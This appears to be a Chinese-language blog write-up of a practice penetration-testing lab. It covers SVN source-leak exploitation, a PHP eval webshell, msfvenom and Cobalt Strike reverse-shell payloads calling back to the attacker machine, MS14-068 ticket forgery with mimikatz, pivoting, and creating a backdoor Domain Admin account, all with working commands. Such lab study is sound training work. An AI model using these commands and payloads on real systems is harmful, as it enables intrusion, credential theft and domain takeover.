本文最后更新于 2024-08-27,文章内容可能已经过时。

webhack域控靶场渗透笔记

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

靶场要求

1.信息采集和使用 (10分)
列出采集了哪些信息 ,使用了哪些信息
2.置入web木马进行getShell (15分)
3.对MySql进行拖库 (10分)
4.上线MSF或CS拿下跳板机(10分) (域内主机、跳板机,不能使用MS17-010)
5.获取域控管理权 (15分)
6.留下维持权限(5种手段) (15分)
7.连接域控的远程桌面 (10分)

8.附加题 (15分):
利用python开发一个svn文件下载工具:要求:按照文件原本的目录结构进行还原

提示 :

  1. 开启两台虚拟机,确认web服务器能正常访问,可以使用kali中的whatweb获取指纹信息
  2. 需要在攻击主机上配置host文件为:192.168.152.154 www.webhack123.com 使用域名访问
    :IP admin.webhack123.com
  3. 简单尝试web安全,不要纠结于常规漏洞,尝试扫描后台
  4. 了解下SVN源代码泄露漏洞利用方式
  5. kali自带sqlitebrowser程序可以读取SQLite数据库表和内容
  6. 查找日志中的信息。。。
  7. 系统后台存在文件上传漏洞 ,但是需要做一些特别的设置
  8. 域控的域名可能无法正常ping到正确的IP地址,需要想办法

192.168.12.160 www.webhack123.com

http://www.webhack123.com

前置环境配置:

VM虚拟机网卡配置:

域控服务器:VMnet19(桥接)IP网段:10.10.10.x

域内主机:Net网卡 VMnet19(桥接)

kali (攻击机) IP地址:192.168.91.129

域控服务器 windowServer2008 IP地址:10.10.10.149

域内主机 windowServer2008 主机名:web 域名:hackbox.com

IP地址:192.168.91.154,101.10.10.4

域内主机密码
administrator/!@#Qwe456
hackbox\web/!@#Qwe456

开启两台虚拟机,确认web服务器能正常访问,可以使用kali中的whatweb获取指纹信息

需要在攻击主机上配置host文件为:IP地址 www.webhack123.com 使用域名访问

kali配置host文件,以便能访问web服务器

sudo vim /etc/hosts

#添加如下:
192.168.91.154 www.webhack123.com
192.168.91.154 admin.webhack123.com

测试访问域名:

浏览器输入:http://www.webhack123.com/

image-20240624004947106

浏览器访问后台管理页面:http://admin.webhack123.com

image-20240624005052339

主机发现

nmap扫描指定网段:

nmap -sP 192.168.91.0/24

image-20240624120525893

发现主机域内主机192.168.91.154

访问扫描到的域名(这里显示域名是因为提前配置了hosts文件)

image-20240624120816622

信息搜集

使用网页插件Wappalzyer查看网页基本信息,可以看到是ThinkPHP架构的,操作系统是Windows Server,Apache服务器,应该是tomcat启动的用php写的页面。

image-20240624120937690

使用whatweb查看网页指纹信息

whatweb www.webhack123.com

image-zlxx.png

nmap扫描开放的端口

nmap 1-65535 192.168.91.154

image-20240624121728868可以看到开放了这些端口,有msql的服务和445,80,135等等。

nmap继续加参数,对目标的指定端口进行详细扫描。

#扫描端口,操作系统信息详情等
nmap -p 1-65535 -sV -O -A 192.168.228.10

使用goby进行漏洞扫描

image-20240624141406779

image-20240624141437912

SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。”(可以利用.svn/entries文件,获取到服务器源码、svn服务器账号密码等信息)

更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码

svn>1.6,文件名会被hash,然后再按照文件名对应hash的方式存到wc.db中,就是个sqlite数据库。最后我们按照名称遍历下载即可。

svn<1.6,文件会先去读取entries文件的中的目录结构,因为默认文件名都是直接明文存的。

利用方式

1、漏洞利用工具: Seay SVN漏洞利用工具

(SvnExploit是一款SVN源代码利用工具,其完美支持SVN<1.7版本和SVN>1.7版本的SVN源代码泄露)

下载地址:https://github.com/admintony/svnExploit

2、添加网站url

在被利用的网址后面加 /.svn/entries,列出网站目录,甚至下载整站。

对目标web页面进行子域名扫描

使用dirsearch扫描:

dirsearch -u  http://www.webhack123.com/

image-20240624142801616

扫到了一个db类型的文件,应该是数据库文件,访问下载下来看看,在NODES_CURRENT这个视图中找到了类似网站目录的文件列表。先记着,待会再看

image-20240624143207649

使用dirb进行子域名扫描:

dirb http://www.webhack123.com/ /usr/share/dirb/wordlists/big.txt 

登录后台页面http://admin.webhack123.com

image-20240624005052339

漏洞利用

将 Seay SVN漏洞利用工具git下来

git clone https://github.com/admintony/svnExploit

利用svnExploit工具进行利用

#先安装依赖库
sudo pip install -r requirements.txt

#查看帮助
python SvnExploit.py -h

#检测SVN源代码泄露
python SvnExploit.py -u http://www.webhack123.com/.svn

#下载源代码
python SvnExploit.py -u http://www.webhack123.com/.svn --dump

image-20240624150250600

可以看到和db内容一样,使用这个工具把泄露的文件和db文件下载下来

python SvnExploit.py -u http://www.webhack123.com/.svn --dump

dump成功后会在本地目录下生成dbs文件夹,进入对应扫描的目录文件可以查看dump下来的所有文件。

image-20240624151053110

在/App/Runtime/Logs/文件下看到了很多日志信息,查看了一下都是一些18,19年的数据,好像利用不了。

image-20240624160106647



# condition:utf-8
#使用此脚本获取最新的包含密码的logs信息
import requests;

url = "http://www.webhack123.com/App/Runtime/Logs/20"


def addurls(url):
    urls = []
    for i in range(1, 13):
        for j in range(1, 32):
            if i < 10:
                if j < 10:
                    urls.append(url + "_0%s_0%s.log" % (i, j))
                else:
                    urls.append(url + "_0%s_%s.log" % (i, j))
            else:
                if j < 10:
                    urls.append(url + "_%s_0%s.log" % (i, j))

                else:

                    urls.append(url + "_%s_%s.log" % (i, j))

    return urls


urls = addurls(url)
for i in urls:
    r = requests.get(i)
    if r.status_code == 200:
        print(i)
        with open("web.txt", 'a', encoding="utf-8") as f:
            f.write(r.text)

运行代码,查找日志信息,找到最近登录的用户名密码了。

用户名:admin

密码为:74c774ef39b5b977c1fd59dbfc73c3e380a65aa3
判断应该是md5机密后的密码信息,进行解密后为web123

image-20240624160803233

这里找数据的话也可以直接使kali中SQLite工具查看下载下来的文件查看

image-lpmz.png

MD5解密网站:https://www.somd5.com/

image-flzg.png

使用解密后的用户名和密码登录后台,成功。

image-20240624161027103

修改运行文件上传的类型

image-20240624161806782

image-20240624162725783

制作一句话木马并上传

<?php @eval($_POST['shell']);?>

image-20240624162641821

Getshell(域内)

蚁剑连接

image-20240624162914463

CS上线



#kali启动cs服务端
./teamserver 192.168.91.129 admin123
#连接

cs制作木马文件,在蚁剑文件目录上传木马

image-20240624163630811

image-20240624163738801

成功上线

msf进行上线

#kali制作windows木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f exe -o test5555.exe


#kali启动监听:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set port 5555
run

image-20240624164426824

直接是system权限。。。

上线到Administrator用户

image-20240625100317258

image-20240625100332503

提权

msf查看登录的用户

run post/windows/gather/enum_logged_on_users 

image-20240624164757977

Current Logged Users
====================

 SID                                            User
 ---                                            ----
 S-1-5-21-1443003717-4130318662-4279967973-500  WEB\Administrator


[+] Results saved in: /root/.msf4/loot/20240624164640_default_192.168.91.154_host.users.activ_362061.txt

Recently Logged Users
=====================

 SID                                            Profile Path
 ---                                            ------------
 S-1-5-18                                       C:\Windows\system32\config\systemprofile
 S-1-5-19                                       C:\Windows\ServiceProfiles\LocalService
 S-1-5-20                                       C:\Windows\ServiceProfiles\NetworkService
 S-1-5-21-1443003717-4130318662-4279967973-500  C:\Users\Administrator
 S-1-5-21-2005268815-658469957-1189185684-1103  C:\Users\web
 S-1-5-21-2005268815-658469957-1189185684-500   C:\Users\Administrator.HACKBOX

#查看当前登录的用户uid
whoami /user

USER INFORMATION
----------------

User Name           SID   
=================== ========
nt authority\system S-1-5-18

image-20240624165523853

运行ipconfig /all查看域控的ip地址。找到域控IP地址为10.10.10.149(DNS那里的)

image-xovj.png

exit退出后返回msf界面,bg后台运行,搜索建议

search suggester

use 0

show options

set session 1

run

image-20240624171139677

没有搜到什么有用的信息

cs创建用户并添加到管理员组

#创建用户xiaoe密码Mudi123
shell net user xiaoe Mudi123 /add 
shell net localgroup Administrators xiaoe /add

image-20240624172345956

使用MS14-068漏洞提权

该漏洞允许黑客提升任意普通用户权限成为域管理员(Domain Admin)身份。也就是说,你在一台普通域用户的机器上利用这个漏洞,那么这个域用户就变成域管理员权限,然后该域用户就可以控制整个域的所有机器了。只要服务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用。

影响版本:全部版本Windows[服务器]

下载地址:https://github.com/AusJock/Privilege-Escalation

(1)蚁剑上传MS14-068漏洞的exe文件到目标域内主机

image-20240624173006008

(2)使用cs伪造kerberos票据。

#shell MS14-068.exe -u 域控管理员用户名 -p 密码 -s web用户的UID  -d 域控的ip
shell MS14-068.exe -u web@hackbox.com  -p !@#Qwe456 -s S-1-5-21-2005268815-658469957-1189185684-500 -d 10.10.10.149

image-20240624175405325

image-20240624175622146

(3)使用mimikatz清空票据缓存

#清除缓存
mimikatz kerberos::purge
#查看缓存列表
mimikatz kerberos::list

image-20240624175928181

(4)导入伪造的票据文件

mimikatz kerberos::ptc C:\phpstudy_pro\WWW\www.webhack123.com\Public\Upload\20240624\TGT_web@HACKBOX.COM.ccache

image-20240624180124163

(5)尝试访问域控服务器的目录:

shell dir \\dc\c$

image-20240624184313085

创建代理或者端口转发连接内网

(6) 使用meterpreter创建路由

#自动创建路由
run post/multi/manage/autoroute
#查看路由创建情况
run autoroute -p

image-20240624195244945

(7)使用msf创建代理和全局代理

use auxiliary/server/socks_proxy
show options
run

image-20240624200441096

vi /etc/proxychains4.conf
socks5 127.0.0.1 1080

(或者)使用msf进行端口转发

portfwd add -l 8099 -r 10.10.10.149 -p 6666
#将域控主机的6666端口转发到kali的8099端口上

image-yhqf.png

Getshell(域控)

(8)kali生成正向木马,用来准备连接内网域控服务器

msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=6666 -f exe -o yukong.exe

kali启动监听:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
show options
set rhost 10.10.10.149
set lport 6666
run

蚁剑上传正向木马到域内目录中,在cs使用命令行拷贝到域控服务器中

shell copy C:\phpstudy_pro\WWW\www.webhack123.com\Public\Upload\20240624\yukong.exe \\dc\c$

image-20240624202410404

image-20240624202436836

(9)启动定时器任务,反弹shell回kali

shell at \\dc 23:01 cmd.exe /c "C:\yukong.exe"

e595479dffe6497f21f24368d30cf15.png

成功getshell

(10)创建域控管理员账户

net user test Mudi@123 /add /domain && net group "Domain Admins"  test  /add /domain 

image-20240625095557871

测试登录域控服务器,登录成功。

image-20240625100049456

image-20240625100455246